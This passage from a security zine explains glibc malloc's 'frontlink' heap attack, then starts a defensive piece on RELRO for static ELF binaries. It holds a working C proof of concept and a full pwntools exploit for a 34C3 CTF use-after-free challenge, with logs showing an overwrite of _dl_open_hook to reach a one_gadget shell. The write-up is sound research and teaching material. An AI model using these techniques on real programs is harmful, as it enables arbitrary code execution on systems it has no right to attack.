23 struct malloc_chunk∗ fd_nexts ize ; /∗ double l i n k s −− used only i f f r e e . ∗/
struct malloc_chunk∗ bk_nextsize ;

25 } ;
typedef struct malloc_chunk∗ mchunkptr ;

27
/∗ The sma l l e s t p o s s i b l e chunk ∗/

29 #define MIN_CHUNK_SIZE ( o f f s e t o f ( struct malloc_chunk , fd_nexts ize ) )
#define mem2chunk(mem) ( ( mchunkptr ) ( ( char∗) (mem) − 2∗SIZE_SZ) )

31 /∗ End of malloc . c d e c l e r a t i on s ∗/

33 #define ALLOCATION_BIG (0 x800 − s izeo f ( s i ze_t ) )

35 int main ( int argc , char ∗∗argv ) {
char ∗YES = "YES" ;

37 char ∗NO = "NOPE" ;
int i ;

39
// f i l l the tcache − introduced in g l i b c 2.26

41 for ( i = 0 ; i < 64 ; i++) {
void ∗tmp = malloc (MIN_CHUNK_SIZE + s izeo f ( s i ze_t ) ∗ (1 + 2∗ i ) ) ;

43 malloc (ALLOCATION_BIG) ;
f r e e (tmp) ;

45 malloc (ALLOCATION_BIG) ;
}

47
char ∗ ve rd i c t = NO;

49 p r i n t f ( "Should f r o n t l i n k work? %s\n" , v e rd i c t ) ;

51 // Make a smal l a l l o c a t i on and put the s t r i n g "YES" in i t ’ s end
char ∗p0 = malloc (ALLOCATION_BIG) ;

53 a s s e r t ( s t r l e n (YES) < s izeo f ( s i ze_t ) ) ; // t h i s i s not an over f low
memcpy(p0 + ALLOCATION_BIG − s izeo f ( s i ze_t ) , YES, 1 + s t r l e n (YES) ) ;

55
// Make two a l l o c a t i o n s r i g h t a f t e r i t and a l l o c a t e a smal l chunk in between to separate

57 void ∗∗p1 = malloc (0 x720−8) ;
malloc (ALLOCATION_BIG) ;

59 void ∗∗p2 = malloc (0 x710−8) ;
malloc (ALLOCATION_BIG) ;

61
// f r e e t h i r d a l l o c a t i on and sor t i t in to a l a r ge bin

63 f r e e ( p2 ) ;
malloc (ALLOCATION_BIG) ;

65
/∗ Vun l e r a b l i l i t y ! overwr i te bk of p2 such tha t s t r co inc ides with the pointed chunk ’ s fd ∗/

67 // p2 [ 1 ] = (( void ∗)&ve rd i c t ) − 2∗ s i z e o f ( s i ze_t ) ;
mem2chunk(p2 )−>bk = (( void ∗)&ve rd i c t ) − o f f s e t o f ( struct malloc_chunk , fd ) ;

69 /∗ back to normal behaviour ∗/

71 // f r e e the second a l l o c a t i on and sor t i t
// t h i s w i l l overwr i te s t r with a po in ter to the end of p0 − where we put "YES"

73 f r e e ( p1 ) ;
malloc (ALLOCATION_BIG) ;

75
// check i f i t worked

77 p r i n t f ( "Does f r o n t l i n k work? %s\n" , v e rd i c t ) ;
return 0 ;

79 }

Figure 14. Universal Frontlink PoC
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verdict pointer with mem2chunk(p1), which points
to the last sizeof(size_t) bytes of p0.26

Control PC or GTFO

Now that we have frontlink covered, and we know
how to overwrite a pointer to data in our control,
it’s time to control the flow. The best victim to
overwrite is _dl_open_hook. This pointer in glibc,
when not NULL, is used to alter the behavior of
dlopen, dlsym, and dlclose. If set, an invocation
of any of these functions will use a callback in the
struct dl_open_hook pointed by _dl_open_hook.
It’s a very simple structure.

1 struct dl_open_hook {
void ∗(∗dlopen_mode ) ( const char ∗name ,

3 int mode) ;
void ∗(∗ dlsym ) (void ∗map,

5 const char ∗name) ;
int (∗ d l c l o s e ) (void ∗map) ;

7 } ;

When invoking dlopen, it actually calls
dlopen_mode which has the following implementa-
tion:

1 i f ( __glibc_unlikely (_dl_open_hook!=NULL) )
return _dl_open_hook

3 −>dlopen_mode (name , mode) ;

Thus, controlling the data pointed to by
_dl_open_hook and being able to trigger a call to
dlopen is sufficient for hijacking a program’s flow.

Now, it’s time for some magic. dlopen is not a
very common function to use. Most binaries know
at compile time which libraries they are going to
use, or at least in program initialization process and
don’t use dlopen during the programs normal oper-
ation. So causing a dlopen invocation may be far
fetched in many circumstances. Fortunately, we are
in a very specific scenario here: a heap corruption.
By default, when the heap code fails an integrity
check, it uses malloc_printerr to print the error
to the user using __libc_message. This happens
after printing the error and before calling abort,
printing a backtrace and memory maps. The func-
tion generating the backtrace and memory maps is
backtrace_and_maps which calls the architecture-
specific function __backtrace. On x86_64, this

function calls a static init function which tries to
dlopen libgcc_s.so.1.

So if we manage to fail an integrity check, we can
trigger dlopen which in turn will use data pointed
by _dl_open_hook to change the programs flow.
Win!

Madness? Exploit 300!
Now that we know everything there is to know, it’s
time to use this technique in the real world. For
PoC purposes, we solve the 300 CTF challenge from
the last Chaos Communication Congress, 34c3.

Here is the source code of the challenge, cour-
tesy of its challenge author, Stephen Röttger,
a.k.a. Tsuro:

1 #include <unis td . h>
#include <s t r i n g . h>

3 #include <er r . h>
#include <s t d l i b . h>

5
#define ALLOC_CNT 10

7
char ∗ a l l o c s [ALLOC_CNT] = {0} ;

9
void myputs ( const char ∗ s ) {

11 wr i t e (1 , s , s t r l e n ( s ) ) ;
wr i t e (1 , "\n" , 1) ;

13 }

15 int read_int ( ) {
char buf [ 1 6 ] = "" ;

17 s s i z e_t cnt = read (0 , buf , s izeof ( buf )−1) ;
i f ( cnt <= 0) {

19 e r r (1 , " read " ) ;
}

21 buf [ cnt ] = 0 ;
return a t o i ( buf ) ;

23 }

25 void menu( ) {
myputs ( " 1) a l l o c " ) ;

27 myputs ( " 2) wr i t e " ) ;
myputs ( " 3) p r i n t " ) ;

29 myputs ( " 4) f r e e " ) ;
}

31
void a l l o c_ i t ( int s l o t ) {

33 a l l o c s [ s l o t ] = mal loc (0 x300 ) ;
}

35
void wr i te_i t ( int s l o t ) {

37 read (0 , a l l o c s [ s l o t ] , 0x300 ) ;
}

39
void pr in t_i t ( int s l o t ) {

41 myputs ( a l l o c s [ s l o t ] ) ;
}

with commit d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc. After filling this cache, all our operations will behave as expected.
Understanding it is beyond the scope of this paper, and on versions before 2.26 it can be removed.
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43
void f r e e_ i t ( int s l o t ) {

45 f r e e ( a l l o c s [ s l o t ] ) ;
}

47
int main ( int argc , char ∗argv [ ] ) {

49 while (1 ) {
menu ( ) ;

51 int cho i c e = read_int ( ) ;
myputs ( " s l o t ? (0−9)" ) ;

53 int s l o t = read_int ( ) ;
i f ( s l o t < 0 | | s l o t > 9) {

55 e x i t (0 ) ;
}

57 switch ( cho i c e ) {
case 1 :

59 a l l o c_ i t ( s l o t ) ;
break ;

61 case 2 :
wr i t e_i t ( s l o t ) ;

63 break ;
case 3 :

65 pr in t_i t ( s l o t ) ;
break ;

67 case 4 :
f r e e_ i t ( s l o t ) ;

69 break ;
default :

71 e x i t (0 ) ;
}

73 }
return 0 ;

75 }

The purpose of the challenge is to execute arbi-
trary code on a remote service executing the code
above. We see that in the globals section there is
an array of ten pointers. As clients, we have the
following options:

1. Allocate a chunk of size 0x300 and assign its
address to any of the pointers in the array.

2. Write 0x300 bytes to a chunk pointed by a
pointer in the array.

3. Print the contents of any chunk pointed in the
array.

4. Free any pointer in the array.

5. Exit.

The vulnerability here is straightforward: Use-
After-Free. As no code ever zeros the pointers in
the array, the chunks pointed by them are accessi-
ble after free. It is also possible to double-free a
pointer.

A solution to a challenge always start with some
boilerplate. Defining functions to invoke specific
functions in the remote target and some convenience
functions. We use the brilliant Pwn library for com-
munication with the vulnerable process, conversion
of values, parsing ELF files and probably some other
things.27

This code is quite self-explanatory. alloc_it,
print_it, write_it, free_it invoke their corre-
sponding functions in the remote target. The chunk
function receives an offset and a dictionary of fields
of a malloc_chunk and their values and returns a
dictionary of the offsets to which the values should
be written. For example, chunk(offset=0x20,
bk=0xdeadbeef) returns {56: 3735928559} as
the offset of bk field is 0x18 thus 0x18 + 0x20 is 56
(and 0xdeadbeef is 3735928559). The chunk func-
tion is used in combination with pwn’s fit function
which writes specific values at specific offsets.28

Now, the first thing we want to do to solve this
challenge is to know the base address of libc, so we
can derive the locations of various data in libc—and
also the address of the heap, so we can craft pointers
to our controlled data.

As we can print chunks after freeing them, leak-
ing these addresses is quite easy. By freeing two
non-consecutive chunks and reading their fd point-
ers (the field which coincides with the pointer re-
turned to the caller when a chunk is allocated), we
can read the address of the unsorted bin because
the first chunk in it points to its address. And we
can also read the address of that chunk by reading
the fd pointer of the second freed chunk, because it
points to the first chunk in the bin. See Figure 15.

27http://docs.pwntools.com/en/stable/index.html
28The base parameter is just for pretty-printing the hexdumps in the real memory addresses
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1 from pwn import ∗

3 LIBC_FILE = ’ . / l i b c . so . 6 ’
l i b c = ELF(LIBC_FILE)

5 main = ELF( ’ ./300 ’ )

7 context . arch = ’amd64 ’

9 r = main . p roce s s ( env={ ’LD_PRELOAD’ : l i b c . path })

11 d2 = succ e s s
def menu( s e l , s l o t ) :

13 r . s e n d l i n e a f t e r ( ’ 4) f r e e \n ’ , str ( s e l ) )
r . s e n d l i n e a f t e r ( ’ s l o t ? (0−9)\n ’ , str ( s l o t ) )

15
def a l l o c_ i t ( s l o t ) :

17 d2 ( " a l l o c {}" . format ( s l o t ) )
menu(1 , s l o t )

19
def pr in t_i t ( s l o t ) :

21 d2 ( " p r i n t {}" . format ( s l o t ) )
menu(3 , s l o t )

23 r e t = r . r e c vun t i l ( ’ \n1 ) ’ , drop=True )
d2 ( " r e c e i v ed : \ n{}" . format (hexdump( r e t ) ) )

25 return r e t

27 def wr i te_i t ( s l o t , buf , base=0) :
d2 ( " wr i t e {} :\n{}" . format ( s l o t , hexdump( buf , begin=base ) ) )

29 menu(2 , s l o t )
## The in t e r a c t i on with the b inary i s too f a s t , and some of the data i s not

31 ## wr i t t en proper l y . This shor t de lay f i x i t .
time . s l e e p ( 0 . 0 01 )

33 r . send ( buf )

35 def f r e e_ i t ( s l o t ) :
d2 ( " f r e e {}" . format ( s l o t ) )

37 menu(4 , s l o t )

39 def merge_dicts (∗ d i c t s ) :
""" return sum( d i c t s ) """

41 return {k : v for d in d i c t s for k , v in d . items ( ) }

43 def chunk ( o f f s e t =0, base=0, ∗∗kwargs ) :
""" bu i l d d i c t i ona ry o f o f f s e t s and va lue s according to f i e l d name and base o f f s e t """

45 f i e l d s = [ ’ prev_size ’ , ’ s i z e ’ , ’ fd ’ , ’ bk ’ , ’ fd_nexts i ze ’ , ’ bk_nextsize ’ , ]
d2 ( " c r a f t chunk {} : {}" . format (

47 ’ ({:#x}) ’ . format ( base + o f f s e t ) i f base else ’ ’ ,
’ ’ . j o i n ( ’ {}={:#x} ’ . format (name , kwargs [ name ] ) for name in f i e l d s i f name in kwargs ) ) )

49
o f f s = {name : o f f ∗8 for o f f , name in enumerate( f i e l d s ) }

51 return { o f f s e t+o f f s [ name ] : kwargs [ name ] for name in f i e l d s i f name in kwargs}

53 ## uncomment the next l i n e to see ex t ra communication and debug s t r i n g s
#contex t . l o g_ l e v e l = ’ debug ’
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+−−−−−−−−−−−−−−−−+
2 | UNSORTED BIN |

+−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+
4 | | fd | bk | |

MAIN ARENA | +−−−−−−−−−−−−−> | <−−−−−−−−−−−−−−+ |
6 | | | | | | |

| | +−−−−−−−−−+ | +−−−−−−−−−−−−+ | |
8 | | | | | | | | |

+−−−−−−−−−−−−−−−−−−−+−−−−−−−+−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+
10 | | | |

| | +−−−−−−−−−−−−−−−−−−−+ | |
12 | | | | | |

| | | +−−−−−−−−−−−−−−−−−−−−+ | |
14 | | | | | | | |

| +−−v−v−−−+ | | +−−v−v−−−+ |
16 HEAP | | CHUNK3 | | | | CHUNK1 | |

| +−−−−−−−−+ | | +−−−−−−−−+ |
18 | | fd +−−+ | | fd +−−+

| +−−−−−−−−+ | +−−−−−−−−+
20 +−−−+ bk | +−−−−+ bk |

+−−−−−−−−+ +−−−−−−−−+

Figure 15

We can quickly test this arrangement in Python.

i n f o ( " l e ak ing unsorted bin address " )
2 a l l o c_ i t (0 )

a l l o c_ i t (1 )
4 a l l o c_ i t (2 )

a l l o c_ i t (3 )
6 a l l o c_ i t (4 )

f r e e_ i t (1 )
8 f r e e_ i t (3 )

l eak = pr in t_i t (1 )
10 unsorted_bin = u64 ( l eak . l j u s t (8 , ’ \x00 ’ ) )

i n f o ( ’ unsorted bin {:#x} ’ . format (
12 unsorted_bin ) )

UNSORTED_OFFSET = 0x3c1b58
14 l i b c . address=unsorted_bin−UNSORTED_OFFSET

in f o ( " l i b c base address {:#x}" . format (
16 l i b c . address ) )

18 i n f o ( " l e ak ing heap" )
l eak = pr in t_i t (3 )

20 chunk1_addr = u64 ( l eak . l j u s t (8 , ’ \x00 ’ ) )
heap_base = chunk1_addr − 0x310

22 i n f o ( ’ heap {:#x} ’ . format ( heap_base ) )

24 i n f o ( " c l e an ing a l l a l l o c a t i o n s " )
f r e e_ i t (0 )

26 f r e e_ i t (2 )
f r e e_ i t (4 )

It will produce something like the following output.

1 [ ∗ ] l e ak i ng unsorted bin address
[+] a l l o c 0

3 [+] a l l o c 1
[+] a l l o c 2

5 [+] a l l o c 3
[+] a l l o c 4

7 [+] f r e e 1
[+] f r e e 3

9 [+] p r i n t 1
[+] r e c e i v ed :

11 00000000 58 db 45 3 f 55 7 f
[ ∗ ] unsorted bin 0 x7f553f45db58

13 [ ∗ ] l i b c base address 0 x7 f553 f09c000
[ ∗ ] l e ak i ng heap

15 [+] p r i n t 3
[+] r e c e i v ed :

17 00000000 10 c3 84 6e 0a 56
[ ∗ ] heap 0x560a6e84c000

19 [ ∗ ] c l e an ing a l l a l l o c a t i o n s
[+] f r e e 0

21 [+] f r e e 2
[+] f r e e 4
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Now that we know the address of libc and the
heap, it’s time to craft our frontlink attack. First,
we need to have a chunk we control in the large bin.
Unfortunately, the challenge’s constraints do not let
us free a chunk with a controlled size. However, we
can control a freed chunk in the unsorted bin. As
chunks inserted to the large bin are first removed
from the unsorted bin, this provides us with a prim-
itive which is sufficient to our needs.

We overwrite the bk of a chunk in the unsorted
bin.

i n f o ( " populate unsorted bin " )
2 a l l o c_ i t (0 )

a l l o c_ i t (1 )
4 f r e e_ i t (0 )

6 i n f o ( " h i j a ck unsorted bin " )
## con t r o l l e d chunk #1 i s our l eaked chunk

8 c on t r o l l e d = chunk1_addr + 0x10
chunk0_addr = heap_base

10 wr i t e_i t (0 , f i t ( chunk ( base=chunk0_addr+0x10 ,
o f f s e t=−0x10 ,

12 bk=con t r o l l e d ) ) ,
base=chunk0_addr+0x10 )

14 a l l o c_ i t (3 )

[ ∗ ] populate unsorted bin
2 [+] a l l o c 0

[+] a l l o c 1
4 [+] f r e e 0

[ ∗ ] h i j a ck unsorted bin
6 [+] c r a f t chunk (0 x560a6e84c000 ) : bk=0

x560a6e84c320
[+] wr i t e 0 :

8 560 a6e84c010 61 61 61 61 62 61 61 61
20 c3 84 6e 0a 56 00 00

10 [+] a l l o c 3

Here we allocated two chunks and free the first,
which inserts it to the unsorted bin. Then we over-

write the bk pointer of a chunk which starts 0x10 be-
fore the allocation of slot 0 (offset=-0x10), i.e., the
chunk in the unsorted bin. When making another
allocation, the chunk in the unsorted bin is removed
and returned to the caller and the bk pointer of the
unsorted bin is updated to point to the bk of the
removed chunk.

Now that the bk of the unsorted bin pointer
points to the controlled region in slot 1, we forge
a list that has a fake chunk with size 0x400, as this
size belongs in the large bin, and another chunk of
size 0x310. When requesting another allocation of
size 0x300, the first chunk is sorted and inserted to
the large bin and the second chunk is immediately
returned to the caller.

i n f o ( " populate l a r g e bin " )
2 wr i t e_i t (1 , f i t ( merge_dicts (

chunk ( base=cont ro l l ed , o f f s e t=0x0 ,
4 s i z e=0x401 , bk=con t r o l l e d+0x30 ) ,

chunk ( base=cont ro l l ed , o f f s e t=0x30 ,
6 s i z e=0x311 , bk=con t r o l l e d+0x60 ) ,

) ) )
8 a l l o c_ i t (3 )

[ ∗ ] populate l a r g e bin
2 [+] c r a f t chunk (0 x560a6e84c320 ) :

s i z e=0x401 bk=0x560a6e84c350
4 [+] c r a f t chunk (0 x560a6e84c350 ) :

s i z e=0x311 bk=0x560a6e84c380
6 [+] wr i t e 1 :

560 a6e84c320 61 61 61 61 62 61 61 61
8 01 04 00 00 00 00 00 00

560 a6e84c330 65 61 61 61 66 61 61 61
10 50 c3 84 6e 0a 56 00 00

560 a6e84c340 69 61 61 61 6a 61 61 61
12 6b 61 61 61 6c 61 61 61

560 a6e84c350 6d 61 61 61 6e 61 61 61
14 11 03 00 00 00 00 00 00

560 a6e84c360 71 61 61 61 72 61 61 61
16 80 c3 84 6e 0a 56 00 00

[+] a l l o c 3

Perfect! we have a chunk in our control in the
large bin. It’s time to corrupt this chunk!

We point the bk and bk_nextsize of this chunk
before the _dl_open_hook and put some more
forged chunks in the unsorted bin. The first chunk
will be the chunk which its address is written to
_dl_open_hook so it must have a size bigger then
0x400 yet belongs in the same bin. The next chunk
is of size 0x310 so it is returned to the caller after
request of allocation of 0x300 and after inserting the
0x410 into the large bin and performing the attack.
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1 i n f o ( """ f r o n t l i n k attack : h i j a ck
_dl_open_hook ({:#x}) """ . format (

3 l i b c . symbols [ ’_dl_open_hook ’ ] ) )
wr i t e_i t (1 , f i t ( merge_dicts (

5 chunk ( base=con t r o l l ed , o f f s e t=0x0 ,
s i z e=0x401 ,

7 # We don ’ t have to use both f i e l d s to
# overwr i t e _dl_open_hook . One i s enough

9 # but both must po int to a wr i t ab l e
# address .

11 bk=l i b c . symbols [ ’_dl_open_hook ’ ] − 0x10 ,
bk_nextsize=

13 l i b c . symbols [ ’_dl_open_hook ’ ] − 0x20 ) ,
chunk ( base=cont ro l l ed , o f f s e t=0x60 ,

15 s i z e=0x411 , bk=con t r o l l e d + 0x90 ) ,
chunk ( base=cont ro l l ed , o f f s e t=0x90 , s i z e=0

x311 ,
17 bk=con t r o l l e d + 0xc0 ) ,

) ) , base=con t r o l l e d )
19 a l l o c_ i t (3 )

1 [ ∗ ] f r o n t l i n k attack :
h i j a ck _dl_open_hook (0 x7 f553 f4622e0 )

3 [+] c r a f t chunk (0 x560a6e84c320 ) :
s i z e=0x401 bk=0x7f553f4622d0

5 bk_nextsize=0x7f553 f4622c0
[+] c r a f t chunk (0 x560a6e84c380 ) :

7 s i z e=0x411 bk=0x560a6e84c3b0
[+] c r a f t chunk (0 x560a6e84c3b0 ) :

9 s i z e=0x311 bk=0x560a6e84c3e0
[+] wr i t e 1 :

11 560 a6e84c320 61 61 61 61 62 61 61 61
01 04 00 00 00 00 00 00

13 560 a6e84c330 65 61 61 61 66 61 61 61
d0 22 46 3 f 55 7 f 00 00

15 560 a6e84c340 69 61 61 61 6a 61 61 61
c0 22 46 3 f 55 7 f 00 00

17 560 a6e84c350 6d 61 61 61 6e 61 61 61
6 f 61 61 61 70 61 61 61

19 560 a6e84c360 71 61 61 61 72 61 61 61
73 61 61 61 74 61 61 61

21 560 a6e84c370 75 61 61 61 76 61 61 61
77 61 61 61 78 61 61 61

23 560 a6e84c380 79 61 61 61 7a 61 61 62
11 04 00 00 00 00 00 00

25 560 a6e84c390 64 61 61 62 65 61 61 62
b0 c3 84 6e 0a 56 00 00

27 560 a6e84c3a0 68 61 61 62 69 61 61 62
6a 61 61 62 6b 61 61 62

29 560 a6e84c3b0 6c 61 61 62 6d 61 61 62
11 03 00 00 00 00 00 00

31 560 a6e84c3c0 70 61 61 62 71 61 61 62
e0 c3 84 6e 0a 56 00 00

33 [+] a l l o c 3

This allocation overwrites _dl_open_hook with
the address of controlled+0x60, the address of the
0x410 chunk.

Now it’s time to hijack the flow. We over-
write offset 0x60 of the controlled chunk with
one_gadget, an address when jumped to executes
exec("/bin/bash"). We also write an easily de-
tectable bad size to the next chunk in the unsorted
bin, then make an allocation. The allocator detects
the bad size and tries to abort. The abort process in-
vokes _dl_open_hook->dlopen_mode which we set
to be the one_gadget and we get a shell! See Fig-
ure 16 for the code.

[ ∗ ] s e t _dl_open_hook−>dlmode
2 = ONE_GADGET (0 x7f553f18d651 )

[ ∗ ] and make the next chunk removed from the
4 unsorted bin t r i g g e r an e r r o r

[+] c r a f t chunk (0 x560a6e84c3e0 ) : s i z e=−0x1
6 [+] wr i t e 1 :

560 a6e84c320 61 61 61 61 62 61 61 61
8 63 61 61 61 64 61 61 61

560 a6e84c330 65 61 61 61 66 61 61 61
10 67 61 61 61 68 61 61 61

560 a6e84c340 69 61 61 61 6a 61 61 61
12 6b 61 61 61 6c 61 61 61

560 a6e84c350 6d 61 61 61 6e 61 61 61
14 6 f 61 61 61 70 61 61 61

560 a6e84c360 71 61 61 61 72 61 61 61
16 73 61 61 61 74 61 61 61

560 a6e84c370 75 61 61 61 76 61 61 61
18 77 61 61 61 78 61 61 61

560 a6e84c380 51 d6 18 3 f 55 7 f 00 00
20 62 61 61 62 63 61 61 62

560 a6e84c390 64 61 61 62 65 61 61 62
22 66 61 61 62 67 61 61 62

560 a6e84c3a0 68 61 61 62 69 61 61 62
24 6a 61 61 62 6b 61 61 62

560 a6e84c3b0 6c 61 61 62 6d 61 61 62
26 6e 61 61 62 6 f 61 61 62

560 a6e84c3c0 70 61 61 62 71 61 61 62
28 72 61 61 62 73 61 61 62

560 a6e84c3d0 74 61 61 62 75 61 61 62
30 76 61 61 62 77 61 61 62

560 a6e84c3e0 78 61 61 62 79 61 61 62
32 f f f f f f f f f f f f f f f f

[ ∗ ] cause an except ion − chunk in unsorted
34 bin with bad s i z e , t r i g g e r

_dl_open_hook−>dlmode
36 [+] a l l o c 3

[ ∗ ] f l a g :
38 34C3_but_does_your_exploit_work_on_1710_too

Voila!
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1 ONE_GADGET = l i b c . address + 0xf1651
i n f o ( " s e t _dl_open_hook−>dlmode = ONE_GADGET ({:#x}) " . format (ONE_GADGET) )

3 i n f o ( "and make the next chunk removed from the unsorted bin t r i g g e r an e r r o r " )
wr i t e_i t (1 , f i t ( merge_dicts ( {0x60 :ONE_GADGET} ,

5 chunk ( base=con t r o l l ed , o f f s e t=0xc0 , s i z e=−1) , ) ) ,
base=con t r o l l e d )

7
i n f o ( """ cause an excep t ion − chunk in unsorted bin with bad s i z e ,

9 t r i g g e r _dl_open_hook−>dlmode""" )
a l l o c_ i t (3 )

11
r . r e cv l i n e_conta in s ( ’ mal loc ( ) : memory cor rupt i on ’ )

13 r . s end l i n e ( ’ cat f l a g ’ )
i n f o ( " f l a g : {}" . format ( r . r e c v l i n e ( ) ) )

Figure 16. This dumps the flag!

Closing Words
Glibc malloc’s insecurity is a never ending story.
The inline-metdata approach keeps presenting new
opportunities for exploiters. (Take a look at the new
tcache thing in version 2.26.) And even the old
ones, as we learned today, are not mitigated. They
are just there, floating around, waiting for any UAF
or overflow. Maybe it’s time to change the design of
libc altogether.

Another important lesson we learned is to al-
ways check the details. Reading the source or disas-
sembly yourself takes courage and persistence, but
fortune prefers the brave. Double check the mit-
igations. Re-read the old materials. Some things
that at the time were considered useless and forgot-
ten may prove valuable in different situations. The
past, like the future, holds many surprises.
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18:06 RelroS: Read Only Relocations for Static ELF
by Ryan “ElfMaster” O’Neill

This paper is going to shed some insights into
the more obscure security weaknesses of statically
linked executables: the glibc initialization process,
what the attack surface looks like, and why the secu-
rity mitigation known as RELRO is as equally im-
portant for static executables as it is for dynamic
executables. We will discuss some solutions, and
explore the experimental software that I have pre-
sented as a solution for enabling RELRO binaries
that are statically linked, usually to avoid complex
dependecy issues. We will also take a look at ASLR,
and innovate a solution for making it work on stat-
ically linked executables.

Standard ELF Security Mitigations

Over the years there have been some innovative and
progressive overhauls that have been incorporated
into glibc, the linker, and the dynamic linker, in
order to make certain security mitigations possible.
Firstly there was Pipacs who decided that making
ELF programs that would otherwise be ET_EXEC
(executables) could benefit from becoming ET_DYN
objects, which are shared libraries. if a PT_INTERP
segment is added to an ET_DYN object to specify an
interpreter then ET_DYN objects can be linked as ex-
ecutable programs which are position independent
executables, “-fPIC -pie” and linked with an ad-
dress space that begins at 0x0. This type of exe-
cutable has no real absolute address space until it
has been relocated into a randomized address space
by the kernel. A PIE executable uses IP relative
addressing mode so that it can avoid using absolute
addresses; consequently, a program that is an ELF
ET_DYN can make full use of ASLR.

(ASLR can work with ET_EXEC’s with PaX using
a technique called VMA mirroring,29 but I can’t say
for sure if its still supported and it was never the
preferred method.)

When an executable runs privileged, such as
sshd, it would ideally be compiled and linked into
a PIE executable which allows for runtime reloca-
tion to a random address space, thus hardening the
attack surface into far more hostile playing grounds.

Try running readelf -e /usr/sbin/sshd |
grep DYN and you will see that it is (most likely)

built this way.
Somewhere along the way came RELRO (read-

only relocations) a security mitigation technique
that has two modes: partial and full. By default
only the partial relro is enforced because full-relro
requires strict linking which has less efficient pro-
gram loading time due to the dynamic linker bind-
ing/relocating immediately (strict) vs. lazy. but full
RELRO can be very powerful for hardening the at-
tack surface by marking specific areas in the data
segment as read-only. Specifically the .init_array,
.fini_array, .jcr, .got, .got.plt sections. The
.got.plt section and .fini_array are the most fre-
quent targets for attackers since these contain func-
tion pointers into shared library routines and de-
structor routines, respectively.

What about static linking?

Developers like statically linked executables because
they are easier to manage, debug, and ship; every-
thing is self contained. The chances of a user run-
ning into issues with a statically linked executable
are far less than with a dynamically linked exe-
cutable which require dependencies, sometimes hun-
dreds of them. I’ve been aware of this for some time,
but I was remiss to think that statically linked ex-
ecutables don’t suffer from the same ELF security
problems as dynamically linked executables! To my
surprise, a statically linked executable is vulnera-
ble to many of the same attacks as a dynamically
linked executable, including shared library injection,
.dtors (.fini_array) poisoning, and PLT/GOT
poisoning.

This might surprise you; shouldn’t a static exe-
cutable be immune to relocation table tricks? Let’s
start with shared library injection. A shared library
can be injected into the process address space us-
ing ptrace injected shellcode for malware purposes,
however if full RELRO is enabled coupled with PaX
mprotect restrictions this becomes impossible since
the PaX feature prevents the default behavior of al-
lowing ptrace to write to read-only segments and
full RELRO would ensure read-only protections on
the relevant data segment areas. Now, from an ex-
ploitation standpoint this becomes more interest-

29VMA Mirroring by PaX Team: unzip pocorgtfo18.pdf vmmirror.txt
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ing when you realize that the PLT/GOT is still a
thing in statically linked executables, and we will
discuss it shortly, but in the meantime just know
that the PLT/GOT contains function pointers to
libc routines. The .init_array/.fini_array func-
tion pointers respectively point to initialization and
destructor routines. Specifically .dtors has been
used to achieve code execution in many types of ex-
ploits, although I doubt its abuse is ubiquitous as
the .got.plt section itself. Let’s take a tour of
a statically linked executable and analyze the finer
points of the security mitigations–both present and
absent–that should be considered before choosing to
statically link a program that is sensitive or runs
privileged.

Demystifying the Ambiguous

The static binary in Figure 17 was
built with full RELRO flags, gcc -static
-Wl,-z,relro,-z,now. And even the savvy re-
verser might be fooled into thinking that RELRO
is in-fact enabled. partial-RELRO and full-RELRO
are both incompatible with statically compiled bi-
naries at this point in time, because the dynamic
linker is responsible for re-mapping and mprotecting
the common attack points within the data segment,
such as the PLT/GOT, and as shown in Figure 17
there is no PT_INTERP to specify an interpreter nor
would we expect to see one in a statically linked
binary. The default linker script is what directs
the linker to create the GNU_RELRO segment, even
though it serves no current purpose.

Notice that the GNU_RELRO segment points to
the beginning of the data segment which is usu-
ally where you would want the dynamic linker to
mprotect n bytes as read-only. however, we really
don’t want .tdata marked as read-only, as that will
prevent multi-threaded applications from working.

So this is just another indication that the stati-
cally built binary does not actually have any plans
to enable RELRO on itself. Alas, it really should, as
the PLT/GOT and other areas such as .fini_array
are as vulnerable as ever. A common tool named
checksec.sh uses the GNU_RELRO segment as one of
the markers to denote whether or not RELRO is
enabled on a binary,30 and in the case of statically
compiled binaries it will report that partial-relro is
enabled, because it cannot find a DT_BIND_NOW dy-

namic segment flag since there are no dynamic seg-
ments in statically linked executables. Let’s take a
lightweight tour through the init code of a statically
compiled executable.

From the output in Figure 17, you will notice
that there is a .got and .got.plt section within
the data segment, and to enable full RELRO these
are normally merged into one section but for our
purposes that is not necessary since the tool I de-
signed ’relros’ marks both of them as read-only.

Overview of Statically Linked ELF

A high level overview can be seen with the ftrace
tool, shown in Figure 18.31

Most of the heavy lifting that would normally
take place in the dynamic linker is performed by the
function generic_start_main() which in addition
to other tasks also performs various relocations and
fixups to all the many sections in the data segment,
including the .got.plt section, in which case you
can setup a few watch points to observe that early
on there is a function that inquires about CPU in-
formation such as the CPU cache size, which allows
glibc to intelligently determine which version of a
given function, such as strcpy(), should be used.

In Figure 19, we set watch points on the GOT
entries for several shared library routines and notice
that generic_start_main() serves, in some sense,
much like a dynamic linker. Its job is largely to
perform relocations and fixups.

So in both cases the GOT entry for a given libc
function had its PLT stub address replaced with
the most efficient version of the function given the
CPU cache size looked up by certain glibc init code
(i.e. __cache_sysconf()). Since this a somewhat
high level overview I will not go into every function,
but the important thing is to see that the PLT/-
GOT is updated with a libc function, and can be
poisoned, especially since RELRO is not compati-
ble with statically linked executables. This leads
us into the solution, or possible solutions, including
our very own experimental prototype named relros,
which uses some ELF trickery to inject code that
is called by a trampoline that has been placed in
a very specific spot. It is necessary to wait until
generic_start_main() has finished all of its writes
to the memory areas that we intend to mark as read-
only before we invoke our enable_relro() routine.

30unzip pocorgtfo18.pdf checksec.sh # http://www.trapkit.de/tools/checksec.html
31git clone https://github.com/elfmaster/ftrace
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$ gcc −s t a t i c −Wl,−z , r e l r o ,−z , now t e s t . c −o t e s t
$ r e a d e l f − l t e s t

E l f f i l e type i s EXEC ( Executable f i l e )
Entry po int 0x4008b0
There are 6 program headers , s t a r t i n g at o f f s e t 64

Program Headers :
Type Of f s e t VirtAddr PhysAddr

F i l e S i z MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000

0x00000000000cbf67 0 x00000000000cbf67 R E 200000
LOAD 0x00000000000cceb8 0x00000000006cceb8 0x00000000006cceb8

0x0000000000001cb8 0x0000000000003570 RW 200000
NOTE 0x0000000000000190 0x0000000000400190 0x0000000000400190

